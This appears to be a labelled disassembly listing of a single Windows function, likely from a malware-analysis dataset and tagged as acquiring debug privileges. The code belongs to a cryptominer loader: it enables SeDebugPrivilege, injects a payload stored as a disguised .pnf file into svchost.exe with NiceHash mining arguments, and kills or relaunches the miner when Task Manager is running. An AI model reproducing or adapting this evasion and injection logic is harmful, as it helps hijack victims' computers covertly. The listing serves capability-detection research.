Function at 0x1400024e0
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x20
call fcn.140001034
mov dl, byte [0x14001492c]
lea rcx, str.taskmgr.exe
call fcn.1400010b8
xor ebp, ebp
cmp al, bpl
jne 0x140002532
cmp byte [0x14001492c], bpl
je 0x140002986
lea rcx, str.Get_Application_Data_Failure_n
call fcn.14000319c
jmp 0x140002986
call fcn.140001294
cmp al, bpl
jne 0x140002552
cmp byte [0x14001492c], bpl
je 0x140002986
lea rcx, str.Load_API_Failure_n
jmp 0x140002528
call fcn.140001228
cmp al, bpl
jne 0x14000257b
cmp byte [0x14001492c], bpl
je 0x140002571
lea rcx, str.Load_NT_API_Failure_n
call fcn.14000319c
call fcn.14000137c
jmp 0x140002986
call fcn.140001b14
cmp al, bpl
jne 0x14000258e
lea rcx, str.Load_PE_API_Failure_n
jmp 0x140002528
mov r14d, 1
lea rcx, str.SeDebugPrivilege
mov dl, r14b
call fcn.140001828
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov r11, rax
mov qword [0x140014940], rax
cmp rax, rbp
jne 0x1400025df
cmp byte [0x14001492c], bpl
je 0x1400025d8
lea rcx, str.Fail_To_Create_Event_n
call fcn.14000319c
call fcn.140001270
jmp 0x140002571
mov ecx, dword [0x1400111a4]
mov eax, dword [0x1400111a8]
xor edx, edx
div ecx
mov esi, ecx
mov dword [rsp + 0x50], ebp
imul esi, esi, 0x3e8
cmp eax, ebp
mov edi, eax
mov ebx, ebp
cmove edi, r14d
cmp byte [0x14001492c], bpl
je 0x140002623
lea rcx, str.Max_Limit_Check___d_n
mov edx, edi
call fcn.14000319c
mov r11, qword [0x140014940]
mov edx, esi
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, ebp
je 0x140002965
lea r12, str.c:windowsinfmsvcr710x64.pnf
lea r13, str.svchost.exe__o_127.0.0.1:49762__u_20211068_2720__p_x__k___nicehash__t_6
call fcn.140001090
mov cl, byte [0x14001492c]
call fcn.140001744
cmp al, bpl
je 0x1400026e3
add ebx, r14d
cmp byte [0x14001492c], bpl
je 0x140002677
lea rcx, str._d_Detects_n
mov edx, ebx
call fcn.14000319c
mov ecx, dword [rsp + 0x50]
cmp ecx, ebp
jbe 0x1400026cd
call fcn.1400018f0
cmp al, bpl
je 0x1400026ab
cmp byte [0x14001492c], bpl
je 0x1400026a2
mov edx, dword [rsp + 0x50]
lea rcx, str.Kill_Miner__d_Successfully_n
call fcn.14000319c
mov dword [rsp + 0x50], ebp
jmp 0x140002762
cmp byte [0x14001492c], bpl
je 0x140002827
mov edx, dword [rsp + 0x50]
lea rcx, str.Fail_To_Kill__d_n
call fcn.14000319c
jmp 0x140002762
cmp byte [0x14001492c], bpl
je 0x140002827
lea rcx, str.No_Miner_Is_Running_n
jmp 0x14000275d
mov ebx, ebp
cmp dword [rsp + 0x50], ebp
jne 0x140002762
call fcn.140001718
cmp al, bpl
jne 0x140002762
cmp byte [0x14001492c], bpl
je 0x14000270a
lea rcx, str.Miner_Isnt_Up_Yet_n
call fcn.14000319c
lea r8, [rsp + 0x50]
mov rdx, r12
mov rcx, r13
call fcn.140002404
cmp al, bpl
je 0x140002745
cmp byte [0x14001492c], bpl
je 0x140002827
mov r9d, dword [rsp + 0x50]
lea rcx, str.Load__s_Into__s_Successfully_Pid___d__n
mov r8, r13
mov rdx, r12
call fcn.14000319c
jmp 0x140002762
mov dword [rsp + 0x50], ebp
cmp byte [0x14001492c], bpl
je 0x140002827
lea rcx, str.Fail_To_Load_PE_n
call fcn.14000319c
cmp byte [0x14001492c], bpl
je 0x140002827
mov ecx, dword [rsp + 0x50]
cmp ecx, ebp
jbe 0x140002827
call fcn.140001008
cmp al, bpl
je 0x1400027a7
cmp byte [0x14001492c], bpl
je 0x140002827
mov edx, dword [rsp + 0x50]
lea rcx, str.Miner_Found_Pid___d_n
call fcn.14000319c
jmp 0x140002827
cmp byte [0x14001492c], bpl
je 0x1400027c0
mov edx, dword [rsp + 0x50]
lea rcx, str.Miner_Found_But_Not_Alive_Pid___d_n
call fcn.14000319c
mov ecx, dword [rsp + 0x50]
call fcn.1400018f0
call fcn.140001718
cmp al, bpl
jne 0x140002827
lea r8, [rsp + 0x50]
mov rdx, r12
mov rcx, r13
mov dword [rsp + 0x50], ebp
call fcn.140002404
cmp al, bpl
je 0x14000280e
cmp byte [0x14001492c], bpl
je 0x140002827
mov r9d, dword [rsp + 0x50]
lea rcx, str.Load__s_Into__s_Successfully_Pid___d_._n
mov r8, r13
mov rdx, r12
call fcn.14000319c
jmp 0x140002827
mov dword [rsp + 0x50], ebp
cmp byte [0x14001492c], bpl
je 0x140002827
lea rcx, str.Fail_To_Load_PE_n
call fcn.14000319c
cmp ebx, edi
jb 0x14000294e
cmp byte [0x14001492c], bpl
je 0x140002844
lea rcx, str.Exceed_Limit_n
call fcn.14000319c
call fcn.140001718
cmp al, bpl
je 0x14000294e
mov cl, byte [0x14001492c]
call fcn.140001950
cmp al, bpl
je 0x140002939
mov ecx, dword [rsp + 0x50]
cmp ecx, ebp
jne 0x1400028c1
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rsp + 0x50]
mov rdx, r12
mov rcx, r13
call fcn.140002404
cmp al, bpl
je 0x1400028a4
cmp byte [0x14001492c], bpl
je 0x14000291f
lea rcx, str.Load__s_Into__s_Successfully_Pid___d_._n
jmp 0x14000290f
mov dword [rsp + 0x50], ebp
cmp byte [0x14001492c], bpl
je 0x14000294e
lea rcx, str.Fail_To_Load_PE._n
jmp 0x140002949
call fcn.140001008
cmp al, bpl
je 0x1400028e6
cmp byte [0x14001492c], bpl
je 0x14000294e
mov edx, dword [rsp + 0x50]
lea rcx, str.Pid___d_Still_Alive_n
call fcn.14000319c
jmp 0x14000294e
lea r8, [rsp + 0x50]
mov rdx, r12
mov rcx, r13
mov dword [rsp + 0x50], ebp
call fcn.140002404
cmp al, bpl
je 0x140002923
cmp byte [0x14001492c], bpl
je 0x14000291f
lea rcx, str.Load__s_Into__s_Successfully_Pid___d_.._n
mov r9d, dword [rsp + 0x50]
mov rdx, r12
mov r8, r13
call fcn.14000319c
mov ebx, ebp
jmp 0x14000294e
mov dword [rsp + 0x50], ebp
cmp byte [0x14001492c], bpl
je 0x14000294e
lea rcx, str.Fail_To_Load_PE.._n
jmp 0x140002949
cmp byte [0x14001492c], bpl
je 0x14000294e
lea rcx, str.Fail_To_Kill_All_Monitors_n
call fcn.14000319c
mov rcx, qword [0x140014940]
mov edx, esi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, ebp
jne 0x140002644
call fcn.140001270
call fcn.14000137c
call fcn.140001c8c
mov rcx, qword [0x140014940]
cmp rcx, rbp
je 0x140002986
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x20
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret